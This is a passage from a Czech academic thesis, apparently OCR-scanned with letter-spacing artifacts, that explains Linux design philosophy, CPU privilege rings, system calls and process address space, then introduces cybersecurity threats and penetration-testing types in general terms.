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N e v ý h o d o u t é t o metody je n e m o ž n o s t použ i t í sdí lených s t r á n e k . Dalš í n e v ý h o d o u je, že 
pro v y h l e d á n í po ložky v tabulce s t r á n e k m ů ž e bý t n u t n é p r o h l e d á n í celé tabulky což m ů ž e 
značně p rod louž i t dobu p ř e k l a d u . V ý h o d o u je menš í m n o ž s t v í p a m ě t i z a b r a n é tabulkou 
s t r ánek . 
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Kapitola 3 

Operační systém Linux 

K a p i t o l a se věnuje filozofii a a r c h i t e k t u ř e o p e r a č n í h o s y s t é m u L i n u x . P r o lepší p o c h o p e n í 
architektury je uvedena funkce procesoru a v ý z n a m ap l ikačn ího b i n á r n í h o rozh ran í . 

3.1 Filozofie operačního sys tému Linux 

O p e r a č n í s y s t é m L i n u x vycház í z o p e r a č n í h o s y s t é m u U N I X a sdílí spolu svůj design, filozofii 
a architekturu. Zde jsou uvedeny body, k t e r ý m i se ř íd í design, filozofie a architektura t ě c h t o 
dvou ope račn ích sys t émů: 

• Vše je buď proces nebo soubor. 

• K a ž d ý n á s t r o j je v y t v o ř e n pro j ed iný účel. 

• D v a s t a n d a r d n í v ý s t u p y a jeden s t a n d a r d n í vstup. 

• Je m o ž n é bezp rob lémové kombinován í více ná s t ro jů . 

• P ř e d n o s t n ě je použ i t p r o s t ý text. 

• R o z h r a n í p ř íkazového ř á d k u je preferované p ř e d graf ickým už iva t e l ským r o z h r a n í m . 

• Čistý, e l egan tn í a s rozumi t e lný zdro jový kód. 

• Mechanizmus preferovaný p ř e d pol i t ikou. 

P ř i dod ržován í t ě c h t o z á s a d budou aplikace snadno udržova te lné , j e d n o d u c h é a budou 
mí t č is tý a e l egan tn í design. [76] [19] 

3 .1 .1 V š e j e b u ď p r o c e s n e b o s o u b o r 

Proces p ř eds t avu j e s p u š t ě n ý program, jak bylo uvedeno dř íve . Soubor je objekt, k t e r ý se 
nacház í v s o u b o r o v é m s y s t é m u . Souborem m ů ž e bý t n a p ř í k l a d ad resá ř , p o j m e n o v a n á roura, 
soubor s p r o s t ý m textem nebo b i n á r n í m obsahem. Klávesnice , myš i a dalš í per i ferní zaří
zení mohou bý t t a k é r e p r e z e n t o v a n á jako soubory, d íky k t e r ý m je m o ž n é s t ě m i t o za ř ízen ími 
pracovat p o m o c í běžných souborových A P I d íky v r s tvě j á d r a , k t e r á se n a z ý v á p ř e p í n a č vir
t uá ln í ch souborových s y s t é m ů ( V F S ) . Soubory reprezentu j íc í per i ferní zař ízení se nazývaj í 
soubory zař ízení . 
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3 . 1 . 2 K a ž d ý n á s t r o j j e v y t v o ř e n p r o j e d i n ý ú č e l 

P ř i vývoji n á s t r o j e by se mě l p r o g r a m á t o r vyhnout snaze o co nej univerzá lně jš í n á s t r o j . 
K a ž d ý n á s t r o j by mě l v y k o n á v a t pouze jeden úkol a to t a k o v ý m z p ů s o b e m , že to ž á d n ý j iný 
nás t ro j nedě lá lépe. P ř í k l a d e m m ů ž e bý t zj iš tění a k t u á l n ě p ř i po j eného souborového s y s t é m u 
s ne jvě t š ím m n o ž s t v í m volného mí s t a . P r o z ískání výp i su a k t u á l n ě p ř ipo jených souborových 
s y s t é m ů lze p o u ž í t n á s t r o j df. P r o o d s t r a n ě n í h lavičky z výp i su lze p o u ž í t n á s t r o j sed. K 
seřazení soubo rových s y s t é m ů lze použ í t n á s t r o j sort. K tomuto úko lu byly z a p o t ř e b í t ř i 
ná s t ro j e z nichž k a ž d ý slouží pro j ed iný účel a jejich kombinac í je m o ž n é řeši t složitější 
úkoly. 

3 . 1 . 3 D v a s t a n d a r d n í v ý s t u p y a j e d e n s t a n d a r d n í v s t u p 

K a ž d ý proces m á po s p u š t ě n í o t e v ř e n é t ř i s t a n d a r d n í soubory identif ikované pop i sovačem 
souboru. Pop i sovač souboru je celočíselná hodnota identifikující o t e v ř e n ý soubor. V da l š ím 
textu je popisovač souboru p o p s á n zkratkou fd. T ě m i t o soubory jsou: 

• S t a n d a r d n í vstup neboli stdin (fd = 0). V d e f a u l t n í m n a s t a v e n í tento soubor repre
zentuje klávesnici . 

• S t a n d a r d n í v ý s t u p neboli stdout (fd = 1). V de fau l tn ím n a s t a v e n í tento soubor re
prezentuje monitor. 

• S t a n d a r d n í chybový v ý s t u p neboli stderr (fd = 2). V de fau l tn ím n a s t a v e n í tento 
soubor reprezentuje monitor. 

Oba v ý s t u p y a vstup lze p ř e směro v a t p o m o c í o p e r á t o r ů <, > a 2> na j iné soubory nebo 
zař ízení . O p e r á t o r < slouží pro p ře směrován í s t a n d a r d n í h o vstupu. O p e r á t o r > slouží pro 
p ře směrován í s t a n d a r d n í h o v ý s t u p u a o p e r á t o r 2> slouží pro p ře směrován í s t a n d a r d n í h o 
chybového v ý s t u p u . 

3 . 1 . 4 J e m o ž n é b e z p r o b l é m o v é k o m b i n o v á n í v í c e n á s t r o j ů 

S n a d n á kombinace více n á s t r o j ů je m o ž n á p o m o c í konceptu zvaného roura. R o u r a je me
chanizmus meziprocesové komunikace a v p ř i k a z u j e z a p s á n a znakem "|". P r o zkombinován í 
ná s t ro j e tl a n á s t r o j e t2 m ů ž e m e použ í t nás leduj íc í p ř íkaz : tl / t2. S t a n d a r d n í vstup ná
stroje tl je v de fau l tn ím n a s t a v e n í klávesnice. S t a n d a r d n í v ý s t u p n á s t r o j e tl je p ř e směrován 
na s t a n d a r d n í vstup n á s t r o j e t2. S t a n d a r d n í v ý s t u p t2 je v de fau l tn ím n a s t a v e n í monitor. 
Bez použ i t í rour by mohlo bý t n u t n é použ i t í dočasných soubo rů , což by zkompikovalo kom
binaci nás to r jů . Řešen í bez použ i t í rour by bylo m é n ě v ý k o n n é z d ů v o d u záp i su dat do 
d o č a s n é h o souboru na disk. 

3 . 1 .5 P ř e d n o s t n ě j e p o u ž i t p r o s t ý t e x t 

Programy jsou p ř e d n o s t n ě n a v r ž e n y pro p rác i s p r o s t ý m textem, což z jednodušu je jejich 
architekturu a n á v r h . P ř í k l a d e m m ů ž e bý t konf igurační soubor ana lyzovaný př i s p u š t ě n í 
programu. Tento soubor m ů ž e bý t jak v b iná rn í , tak i v t ex tové p o d o b ě n a p ř í k l a d ve 
f o r m á t u X M L . Soubor ve f o r m á t u X M L je snadno či te lný a rozdí ly v rychlostech n a č í t á n í 
b i n á r n í h o a t e x t o v é h o souboru jsou min imá ln í . 
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3 . 1 . 6 R o z h r a n í p ř í k a z o v é h o ř á d k u j e p r e f e r o v a n é p ř e d g r a f i c k ý m u ž i v a 
t e l s k ý m r o z h r a n í m 

Programy jsou p ř e d n o s t n ě n a v r ž e n y pro p rác i v rež imu př íkazového ř á d k u a implementace 
grafického už iva te lského r o z h r a n í je vol i te lná . P ř i n á v r h u programu je d o b r ý m postupem 
oddě len í ap l ikačn í logiky aplikace od už iva te l ského rozhran í . 

3 . 1 . 7 Č i s t ý , e l e g a n t n í a s r o z u m i t e l n ý z d r o j o v ý k ó d 

N a vývoji o p e r a č n í h o s y s t é m u se podí l í ř a d a p r o g r a m á t o r ů . Je tedy kladen d ů r a z na čistý, 
e legan tn í a s rozumi t e lný zdro jový kód. 

3 . 1 . 8 M e c h a n i z m u s p r e f e r o v a n ý p ř e d p o l i t i k o u 

Tento pr incip lze pochopit na dvou funkcích, k t e r é řeší p ř ih lášen í už iva te le . Funkc í pro kon
t ro lu hesla je check_pass. Funkce login volá funkci check_pass a v r á t í chybu v p ř í p a d ě , že 
uživate l zadal t ř i k r á t za sebou š p a t n é heslo. Funkce check_pass řeší mechanizmus a funkce 
login řeší po l i t iku . Po l i t ikou je v tomto p ř í p a d ě p o č e t z a d a n ý c h hesel. Funkce by mohla 
v r á t i t chybu př i pě t i š p a t n ě z a d a n ý c h heslech, č ímž by se změn i l a pol i t ika , ale kontrola 
sp rávnos t i hesla ve funkci check_pass by se nezměni la . Kon t ro l a sp r ávnos t i hesla p ř e d s t a 
vuje mechanizmus. 

3.2 Koncepty po t ř ebné pro pochopení architektury operač
ního systému Linux 

Pro p o c h o p e n í architektury je nejprve n u t n é si vysvět l i t funkci procesoru. Dá le je n u t n é 
pochopit co je ap l ikačn í b i n á r n í r o z h r a n í procesoru ( A B I - appl icat ion binary interface) 
a ú r o v n ě o p e r á v n ě n í procesoru. [76] 

3 .2 .1 C o j e t o p r o c e s o r 

Procesor ( C P U - Cent ra l Processing Uni t ) je H W zařízení , k t e r é je srdcem poč í t ače . P ř i p ře 
k ladu už iva te l ského programu n a p s a n é h o n a p ř í k l a d v jazyce C vzniknou instrukce. Procesor 
n a č í t á tyto instrukce, dekóduje a vykonává . P ř i t ě ch to č innos tech využ ívá sady reg is t rů , 
a r i tmet icko- logické jednotky a per i ferních zař ízení . [22] 

3 . 2 . 2 A p l i k a č n í b i n á r n í r o z h r a n í p r o c e s o r u 

Po n a p s á n í programu n a p ř í k l a d v jazyce C je n u t n é jej p řevés t na s p u s t i t e l n ý soubor s in 
strukcemi u r č e n ý m i pro procesor. P r o p ř e v o d programu na spus t i t e lný soubor jsou využ i ty 
r ů z n é n á s t r o j e . M e z i tyto n á s t r o j e p a t ř í p ř e k l a d a č , l inker a dalš í . Instrukce jsou n a č í t á n y 
a v y k o n á v á n y procesorem. Popis f o r m á t u ins t rukc í je uveden v dokumentu popisu j íc ím 
fungování procesoru. N á z e v tohoto dokumentu je ap l ikačn í b i n á r n í r o z h r a n í ( A B I - appli
cation binary interface). A B I popisuje t a k é sadu reg i s t rů procesoru, konvenci volání funkcí, 
fo rmát s p u s t i t e l n é h o souboru a dalš í . Ve výpise 3.1 je uveden j e d n o d u c h ý program v ja
zyce C sloužící pro i lustraci p ř e k l a d u programu na s p u s t i t e l n ý soubor obsahuj íc í s t rojové 
instrukce. [1] 
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int main() { 
int variable = 5; 
pri n t f ( " H e l l o , world!\n"); exit(O); 

} 

Výpis 3.1: Jednoduchý program v jazyce C překládaný na strojové instrukce 

Získání informací ze spus t i t e l ného souboru je m o ž n é p o m o c í n á s t r o j e objdump. Ve vý
stupu n á s t r o j e objdump jsou pro loženy s t ro jové instrukce, jazyk assembleru a p ř íkazy pro
g ramovac ího jazyka . Č á s t v ý s t u p u n á s t r o j e objdump je uveden ve výpise 3.2. 

./hello_d: f i l e formát elf64-x86-64 

Disassembly of section . i n i t : 

0000000000400418 <_init>: 
400418: 48 83 ec 08 sub $0x8,°/0rsp 

[...] 

000000000040057d <main>: 
#include <stdio.h> 
#include <stdlib.h> 

int main() 
{ 
40057d: 55 push °/„rbp 
40057e: 48 89 e5 mov yorsp,yorbp 
400581: 48 83 ec 10 sub $0x10//„rsp 
int variable = 5; 

400585: c7 45 f c 05 00 00 00 movl $0x5,-0x4(°/0rbp) 
pr in t f ("Hel lo , world!\n"); 
40058c: bf 30 06 40 00 mov $0x400630, °/„edi 
400591: e8 ba fe f f f f c a l l q 400450 <puts@plt> 
exi t (0) ; 
400596: bf 00 00 00 00 mov $0x0,°/„edi 
40059b: e8 eO fe f f f f c a l l q 400480 <exit@plt> 

[...] 
Výpis 3.2: Výstup nástroje objdump 

Ve výp i su je uveden př íkaz pro p ř i ř azen í hodnoty 5 do p r o m ě n n é variable. V tabulce 
3.1 je uveden p řek l ad tohoto p ř i ř azen í na strojovou instrukci a p ř íkaz v jazyce assembleru. 

Jazyk C Jazyk assembleru Strojová instrukce 
int variable = 5 movl $0x5,-0x4(%rbp) c7 45 fc 05 00 00 00 

Tabulka 3.1: Překlad příkazu přiřazení 
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3 . 2 . 3 Ú r o v n ě o p r á v n ě n í p r o c e s o r u 

N ě k t e r é registry procesoru nas t avu j í kr i t ické funkce. N a p ř í k l a d p o m o c í registru C R O proce
sorů Intel je m o ž n é vypnout nebo zapnout H W s t ránkován í , vypnout ochranu prot i záp i su 
na s t r á n k á c h p a m ě t i označených o p e r a č n í m s y s t é m e m pouze pro č ten í a dalš í . Tento re
gistr by mohl bý t snadno zneuž i te lný v p ř í p a d ě , že by procesor s lepě nač í t a l a vykonáva l 
instrukce. Z toho d ů v o d u byly do procesoru zavedeny ú r o v n ě op rávněn í . V m o d e r n í c h pro
cesorech existuje podpora m i n i m á l n ě dvou ú rovn í op rávněn í : 

• Supervisor 

• User 

Procesor m á v u r č i t é m o k a m ž i k u nastavenu u r č i t o u ú roveň op rávněn í , p ř ičemž na t é t o 
n a s t a v e n é ú rovn i jsou p rováděny a k t u á l n ě n a č t e n é instrukce. A k t u á l n ě n a s t a v e n á ú roveň 
o p r á v n ě n í na procesoru se podle terminologie Intel n a z ý v á C P L (Current Privi lege Level) . 
Arch i tek tura ins t rukc í sady procesoru (ISA) specifikuje pro k a ž d o u instrukci ú roveň na j aké 
lze instrukci vykonat . Vývojář i o p e r a č n í h o s y s t é m u mohou t ě c h t o ú rovn í l ibovolně využ íva t , 
p ř ičemž kód o p e r a č n í h o s y s t é m u je v y k o n á v á n př i nejvyšší ú rovn i o p r á v n ě n í . V ý z n a m dvou 
výše uvedených ú rovn í je shrnut v tabulce 3.2. [30] 

N á z e v ú r o v n ě 
o p r á v n ě n í 

Ú r o v e ň 
o p r á v n ě n í 

U č e l T e r m i n o l o g i e 

Supervisor Vysoká Zde je p r o v á d ě n 
kód o p e r a č n í h o 

s y s t é m u 

Prostor j á d r a 

User Nízká Zde běž í 
kód už iva te lské 

aplikace 

Uživa te lský prostor 

Tabulka 3.2: Z á k l a d n í ú r o v n ě o p r á v n ě n í . P ř e v z a t o ze z d r o j e [76]. 

R e á l n ý m p ř í k l a d e m mohou bý t procesory Intel s architekturou x86 podporu j í c í č ty ř i 
ú rovně o p r á v n ě n í nebo t a k é kruhy, jej ichž n á z v y jsou K r u h 0, K r u h 1, K r u h 2 a K r u h 3. 
Nejvyšší ú roveň se nazývá K r u h 0 a nej nižší se nazývá K r u h 3. T y t o ú r o v n ě jsou uvedeny 
na o b r á z k u 3.1. 

• 
P r i v i l eg ium 

O b r á z e k 3.1: Ú r o v n ě o p r á v n ě n í p r o c e s o r ů I n t e l x 8 6 . P ř e v z a t o ze z d r o j e [76]. 

V ý z n a m t ě c h t o č ty ř ú rovn í je uveden v tabulce 3.3. 
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N á z e v ú r o v n ě o p r á v n ě n í 
> 

Ú r o v e ň o p r á v n ě n í U č e l 
K r u h 0 Nej vyšší Zde je p r o v á d ě n 

kód o p e r a č n í h o 
s y s t é m u 

K r u h 1 < r ing 0 N e p o u ž i t o 
K r u h 2 < r ing 1 N e p o u ž i t o 
K r u h 3 Nej nižší Zde běž í 

kód uživate lské 
aplikace 

Tabulka 3.3: Ú r o v n ě o p r á v n ě n í p r o c e s o r ů I n t e l x 8 6 . P ř e v z a t o ze z d r o j e [76]. 

Úrovně o p r á v n ě n í K r u h 1 a 2 sloužily dř íve pro b ě h k ó d u ov ladačů zař ízení . K tomuto 
účelu dnes využívaj í o p e r a č n í s y s t é m y úroveň o p r á v n ě n í K r u h 0. 

V tabulce 3.4 jsou uvedeny dvě instukce a zároveň je u k a ž d é instrukce specif ikována 
úroveň, na k t e r é lze instrukci na procesoru provés t . 

I n s t r u k c e P o v o l e n a p ř i ú r o v n i o p r á v n ě n í C P L J e p r o v e d e n a ? 
foo l K r u h 0 K r u h 0 A n o foo l K r u h 0 

K r u h 3 Ne 
foo2 K r u h 3 K r u h 0 A n o foo2 K r u h 3 

K r u h 3 A n o 

Tabulka 3.4: Ú r o v n ě o p r á v n ě n í - p ř í k l a d . P ř e v z a t o ze z d r o j e [76]. 

Instrukci proveditelnou př i ú rovn i K r u h 3 je automaticky m o ž n é považova t za pro
veditelnou i př i ú rovn i K r u h 0. Instrukce p roved i t e lná př i o p r á v n ě n í K r u h 0 n e m u s í bý t 
p roved i t e lná př i ú rovn i K r u h 3. 

Po s p u š t ě n í aplikace vznikne proces j ehož instrukce jsou vykovávány př i ú rovn i opráv
něn í K r u h 3. P rogram u v e d e n ý ve výp i su 3.3 je po s p u š t ě n í u k o n č e n s chybou segmentation 
fault. Pokus o p ř í s t u p k registru C R O způsob í na procesoru chybu G P F (General Protect ion 
Faul t ) . K tomuto registru maj í p ř í s t u p pouze instrukce v y k o n áv an é na procesoru, k t e r ý m á 
a k t u á l n ě nastavenou úroveň o p r á v n ě n í K r u h 0. K ř íd íc ím r eg i s t r ů m, mezi k t e r é p a t ř í i 
registr C R O , m á p ř í s t u p pouze kód o p e r a č n í h o s y s t é m u nebo kód j á d r a . 

typedef unsigned long u64; 
sta t i c u64 get_crO(void) 
{ /* Pro Tip: x86 ABI: query a register's value by 

* moving i t ' s value into RAX. 
* [RAX] i s returned by the function! */ 

asm v o l a t i l e ("movq °/0crO, °/0rax"); 
/* at&t syntax: movq <src_reg>, <dest_reg> */ } 

int main(void) 
{ 

prin t f ("Hello, i n l i n e assembly:\n [CRO] = Ox°/0lx\n", get_crO()); 
exit(O); 

} 

Výpis 3.3: P r o g r a m p ř i s t u p u j í c í k ř í d í c í m u r e g i s t r u C R O . P ř e v z a t o ze z d r o j e [76] 
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3.3 Architektura systému Linux 

Aplikace 

Knihovny 

glibc / Rozhraní systémových volání 
(System Call Interface SCI) 

Jádro operačního systému, ovladače, atd. 

Hardware vrstva 

O b r á z e k 3.2: Z j e d n o d u š e n á a r c h i t e k t u r a s y s t é m u L i n u x . P ř e v z a t o ze z d r o j e [76]. 

N a o b r á z k u 3.2 jsou uvedeny vrs tvy tvoř íc í architekturu s y s t é m u L i n u x . K a ž d á vrstva 
se s t a r á jen o vrs tvu , k t e r á se n a c h á z í p ř í m o nad n í a pod ní . Tento p ř í s t u p z jednodušu je 
architekturu, umožňu je zaváděn í nových vrstev a umožňu je v ý m ě n u vrstev. N a nás leduj íc ím 
o b r á z k u 3.3 je uvedena deta i lně jš í architektura spolu s ú r o v n ě m i o p r á v n ě n í procesoru. [76] 

Uživatelský režim / Uživatelský prostor 
Aplikace (procesy) 

(g) (p2) • • • © 

Knihovny 

fa 

ITibAPI 

1 
libc APls+System Call Interfaces SysCall API 

T 
Režim jádra / prostor jádra: K e r n e | A P | 

jádro operačního systému, ovladače zařízení, atd. 

x 8 6 : Kruh 3 

x 8 6 : Kruh 0 

O b r á z e k 3.3: D e t a i l n ě j š í a r c h i t e k t u r a s y s t é m u L i n u x s ú r o v n ě m i o p r á v n ě n í . P ř e 
v z a t o ze z d r o j e [76]. 

Symboly PI, P2 až Pn označuj í už ivate lské procesy. T y t o procesy p ředs t avu j í s p u š t ě n é 
uživate lské aplikace s ú rovn í o p r á v n ě n í K r u h 3. K ó d j á d r a je s p u š t ě n s ú rovn í o p r á v n ě n í 
K r u h 0. Uživa te lskou ap l ikac í m ů ž e bý t n a p ř í k l a d t e x t o v ý editor nebo webový prohl ížeč . 

3 .3 .1 K n i h o v n y 

K n i h o v n y p ředs t avu j í kolekce kódu , d íky k t e r ý m nen í t ř e b a n e u s t á l e vyvýje t již vymyš lené 
algoritmy. Možnos t použ i t í knihoven t a k é n a p o m á h á m o d u l a r i t ě kódu . Jako p ř ík lad m ů ž e 
pos louži t funkce printf, jejíž kód se nacház í v k n ih o v n ě G N U l ibc (glibc). Tato knihovna ob
sahuje vedle s t a n d a r d n í c h funkcí t a k é sys t émová volání sloužící jako p r o g r a m o v a c í r o z h r a n í 
ope račn ího s y s t é m u , což z ní činí kr i t ickou a povinnou součás t s y s t é m u L i n u x . 
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3 . 3 . 2 S y s t é m o v á v o l á n í 

V r á m c i j á d r a se nacház í t is íce funkcí. N ě k t e r é z t ě c h t o funkcí je m o ž n é volat z uživatel 
ského prostoru p r o s t ř e d n i c t v í m funkcí d o s t u p n ý c h v kn ihovně glibc. Funkce j á d r a , kterou 
je m o ž n é volat z už iva te l ského prostoru se nazývá sys t émové volání . Sys t émová volání p řed
s tavuj í j ed iný v s t u p n í bod do j á d r a , p ř i čemž posky tu j í už iva t e l ským p r o c e s ů m s lužby jako 
je n a p ř í k l a d zápis dat do souboru. P ř í k l a d e m funkce p r o s t ř e d n i c t v í m k t e r é je m o ž n é volat 
funkci v j á d ř e je read, write nebo t a k é open. T y t o funkce se t a k é označuj í jako sys t émová 
volání a jsou d o t u p n é v kn ihovně glibc. Po jejich volání z už iva te l ského k ó d u je do registru 
procesoru vloženo číslo sys t émového volání a do dalš ích r eg i s t rů jsou vloženy parametry. 
Nás l edně je na procesoru v y k o n á n a spec ia l izovaná instrukce, k t e r á p ř e p n e ú roveň o p r á v n ě n í 
na Supervisor a ná s l edně je v y k o n á n a p o ž a d o v a n á funkce v j á d ř e . N ě k t e r é z t ěch to speciali
zovaných ins t rukc í jsou uvedeny v tabulce 3.5. P o dokončen í k ó d u j á d r a je ú roveň o p r á v n ě n í 
procesoru o p ě t p ř e p n u t a na ú roveň User a je v y k o n á v á n kód už iva te l ského procesu. [60] 

C P U I n s t r u k c e p r o v á d ě j í c í 
p ř e p n u t í ú r o v n ě o p r á v n ě n í 
n a ú r o v e ň S u p e r v i s o r 

R e g i s t r u r č e n ý 
p r o č í s l o 
s y s t é m o v é h o v o l á n í 

x86[_64] int 0x80 nebo syscall E A X / R A X 
A R M swi / svc R 0 až R 7 
Arch64 svc X 8 
M I P S syscall $v0 

Tabulka 3.5: I n s t r u k c e p r o v á d ě j í c í p ř e p n u t í ú r o v n ě o p r á v n ě n í v z á v o s l o s t i n a a r 
c h i t e k t u ř e p r o c e s o r u . P ř e v z a t o ze z d r o j e [76]. 

3 . 3 . 3 M o n o l i t i c k á a r c h i t e k t u r a o p e r a č n í h o s y s t é m u L i n u x 

Monol i t je v ý r a z pro velký v z p ř í m e n ý blok kamene. N a o b r á z k u 3.4 je uveden v i r t uá ln í 
ad resový prostor procesu ( V A S ) . V n ě m je u ložen kód programu, ze k t e r é h o proces vzn ik l , 
data a dalš í . V A S je vysvě t l en v dalš ích kap i to l ách . Součás t í V A S procesu je t a k é kód j á d r a 
nacházej íc í se v čás t i p a m ě t i označené jako Kerne l Segment. J á d r o je t a k é součás t í procesu a 
k a ž d ý proces se tedy jev í jako kus kamene. K ó d e m jsou zde ve sku t čenos t i myš leny instrukce 
vzniklé př i p ř e k l a d u programu a j á d r a . 
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Mapovaní 
knihoven { 

Segment jádra 
operačního systému 

Zásobník [rw-] 

T 

Hromada 
Neinicializovaná 

Inicializovaná 

Text [r-x] 

vysoká adresa 

bod rozdělení 

VAS procesu 
(virtuální adresový 
prostor) 

} Data [rw-] 

Prostor jádra 
operačního 
systému 

Uživatelský 
prostor 

Nízká adresa: 0x0 

O b r á z e k 3.4: V i r t u á l n í a d r e s o v ý p r o s t o r p r o c e s u . P ř e v z a t o ze z d r o j e [76]. 

K ó d j á d r a a kód už iva te lského procesu je p r o v á d ě n v r á m c i s t e jného procesu. N a o b r á z k u 
3.5 je uveden tok k ó d u př i volání funkce printf z už iva te lského k ó d u . Uživa te lský proces 
P volá funkci printf pro v y p s á n í ře tězce na monitor. Funkce printf provede sys témové 
volání write. V r á m c i sys t émového volání jsou n a p l n ě n y registry procesoru a specializovanou 
ins t rukc í je p ř e p n u t a ú roveň o p r á v n ě n í b ě h u ins t rukc í na procesoru. V r á m c i procesu, k t e r ý 
volal funkci printf je v y k o n á n kód j á d r a s ú rovn í o p r á v n ě n í Supervisor. P ř i p rováděn í k ó d u 
j á d r a je nalezen ov ladač zař ízení , k t e r ý j ed iný m ů ž e komunikovat s per i fe rn ím zař ízen ím. 
O v l a d a č zař ízení provede zápis ře tězce na monitor a n á v r a t o v á hodnota se v rac í cestou zpě t 
do už iva te l ského kódu . P ř i vykonáván í už iva te l ského k ó d u je ú roveň o p r á v n ě n í procesoru 
opě t nastavena na ú roveň User. 

Uživatelský režim / Uživatelský prostor 
Ap l ikace (procesy) 

g l i b c 
pr intf 

Glibc APIs+System Call Interfaces write • 
CPU -

'i' 

Režim jádra / Prostor jádra 
jádro operačního systému, 
ovladače jádra, a td . 

Kód funkce write v jádru 

'i' 
Ovladač jádra 

I 
Hardware 

O b r á z e k 3.5: T o k k ó d u p ř i v o l á n í f u n k c e p r i n t f . P ř e v z a t o ze z d r o j e [76]. 
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N a o b r á z k u 3.6 je zobrazena čás t ž ivo tn ího cyk lu procesu spolu s ú r o v n ě m i b ě h u pro
cesoru. N a ose Y se nacház í ú r o v n ě b ě h u a na ose X čas . Zank U na ose Y z n a m e n á , že 
procesor vykonává instrukce př i ú rovn i b ě h u User (už ivate lský rež im) a znak K z n a m e n á , 
že procesor vykonává instrukce př i ú rovn i b ě h u Supervisor ( rež im j á d r a ) . 

Spuštění v uživatelském 
režimu (neprivilegovaný) 

to t l 

Narození Systémové volání 
Spuštění v supe rv i so r 
režimu (jádro operačního systému) 

Ukončení 

O b r á z e k 3.6: P ř e p í n á n í ú r o v n í o p r á v n ě n í b ě h e m ž i v o t a p r o c e s u . P ř e v z a t o ze 
z d r o j e [76]. 

V k ó d u j á d r a je v čase tO v y t v o ř e n proces. K ó d pro vy tvo řen í procesu v r á m c i j á d r a je 
p rováděn v r ež imu j á d r a . P o vy tvo řen í procesu je p r o v á d ě n už iva te l ský kód v už iva te l ském 
rež imu. V čase tl proces provede sys t émové volání a je v y k o n á v á n kód j á d r a v rež imu j á d r a . 
V čase t2 je dokončeno vykonáván í k ó d u j á d r a a je v y k o n á v á n už iva te l ský kód v uživatel 
ském rež imu. V čase tn dojde k d o b r o v o l n é m u nebo n e d o b r o v o l n é m u ukončen í procesu. 
Ukončen í procesu je provedeno v r á m c i k ó d u j á d r a v r ež imu j á d r a . 
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Kapitola 4 

Kybernetická bezpečnost 

V t é t o čás t i je p ř e d s t a v e n a k y b e r n e t i c k á bezpečnos t , j aké p r o b l é m y řeší a t a k é d o b r é po
stupy pro za j i š tění ochrany p ř e d ú toky . 

4.1 Co je to kybernet ická bezpečnost 

K y b e r n e t i c k á b e z p e č n o s t řeší ochranu zař ízení , s í t í a dat p ř e d ú toky . M e z i zař ízení p a t ř í 
n a p ř í k l a d poč í t ače , mob i ln í zař ízení nebo e lekt ronické sys témy. Ochrana je za j i š těna např í 
k lad p r o s t ř e d n i c t v í m kryp togra f ických p ro toko lů nebo b e z p e č n o s t n í h o S W . Kyberne t ickou 
bezpečnos t lze rozděl i t do někol ika ka tegor i í : [69] 

• Zabezpečen í s í tě p ř e d ú točn íky . 

• Zabezpečen í ap l ikac í a zař ízení . 

• Zaj iš tění integrity a s o u k r o m í dat př i jejich p ř e n o s u a u k l á d á n í . 

• Zaj iš tění p rovozní bezpečnos t i , k t e r á určuje j a k á p ráva mohou mí t už iva te lé př i pří
stupu k síti a t a k é jak a kde je m o ž n é u k l á d a t nebo sdí let data. 

• Určen í reakce na b e z p e č n o s t n í incident, k t e r ý mohl p ře ruš i t provoz nebo způsob i t 
z t r á t u dat. 

• Vzdělávání koncových už iva te lů oh l edně sp r ávných b e z p e č n o s t n í c h p o s t u p ů . 

4.2 Typy hrozeb 

T y p y hrozeb lze rozděl i t do t ř í ka tegor i í : [69] 

• V r á m c i kybe rne t i cké kr imina l i ty se ú t o č n í k nebo skupina zaměřu j í na z ískání finanč
n ího zisku nebo na z p ů s o b e n í na rušen í . 

• P ř i k y b e r n e t i c k é m ú t o k u docház í ke sh romažďován í informací , k t e r é m á ča s to pol i t ické 
důvody. 

• C í lem kyberterorismu je n a r u š e n í e lek t ron ických s y s t é m ů nebo vyvolán í strachu. 
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4.3 Ochrana před ú toky 

M e z i z p ů s o b y ochrany p ř e d k y b e r n e t i c k ý m i ú t o k y lze z a ř a d i t aktual izaci S W a o p e r a č n í h o 
sys t ému , použ i t í an t iv i rového S W , použ i t í s i lných hesel nebo v y h ý b á n í se n e z a b e z p e č e n ý m 
ve ře jným s í t ím W i F i . [69] 

4.4 Pene t račn í testování 

P e n e t r a č n í t e s tován í p ř e d s t a v u j e p ř e d e m schválený s imulovaný ú t o k p rováděný o d b o r n í k e m 
na kybernetickou b e z p e č n o s t označovaný jako e t ický hacker, k t e r ý se snaž í na léz t bezpeč 
nos tn í slabinu v sy s t ému . Cí lem t e s tován í je v y h o d n o c e n í zabezpečen í t e s t o v a n é h o sy s t ému . 

N e v ý h o d o u p e n e t r a č n í h o testu m ů ž e bý t jeho cena i fakt, že n e m u s í odhalit všechny 
b e z p e č n o s t n í slabiny. 

P e n e t r a č n í test m ů ž e bý t proveden u t a j eně , což z n a m e n á , že nikdo ze společnos t i neví , 
že test p r o b í h á . P ř i e x t e r n í m p e n e t r a č n í m testu se hacker zaměřu je na web s t r á n k y a servery 
společnos t i a nav íc mu m ů ž e bý t z a k á z á n vstup do budouvy spo lečnos t i . P ř i i n t e r n í m testu 
je ú t o k proveden z in te rn í s í tě společnos t i . 

Součás t í p e n e t r a č n í h o testu m ů ž e bý t jak m a n u á l n í , tak a u t o m a t i z o v a n é t e s tován í . P ř i 
m a n u á l n í m testu využívaj í odbo rn í c i své znalosti , p ř i čemž mohou identifikovat zranitelnosti , 
k t e r é by a u t o m a t i z o v a n é t e s tován í neodhalilo. A u t o m a t i z o v a n é t e s tován í p ř ináš í rychlejší 
výs ledky a k jeho p roveden í je z a p o t ř e b í m é n ě o d b o r n í k ů . [56] 

Společnos t m ů ž e pro p roveden í testu najmout jednoho nebo více o d b o r n í k ů na kyber
netickou bezpečnos t . [71] 

4 . 4 . 1 T y p y t e s t ů p o d l e ú r o v n ě p ř í s t u p u 

Existuje několik t y p ů p e n e t r a č n í c h t e s t ů na zák ladě ú rovně p ř í s t u p u , j a k ý m á skupina 
o d b o r n í k ů nebo jednotlivec k s y s t é m u společnos t i : [56] 

• Opaque box - nejsou poskytnuty ž á d n é informace o t e s t o v a n é m s y s t é m u . Tuto ú roveň 
p ř í s t u p u m á i hacker, k t e r ý se pokouš í o na lezení slabiny sy s t ému . 

• Semi-opaque box - jsou poskytnuty informace o k ó d u nebo d a t o v ý c h s t r u k t u r á c h . 
Pro n á v r h t e s t ů mohou bý t využ i ty dokumenty popisuj íc í sy s t ém, mezi k t e r é p a t ř í 
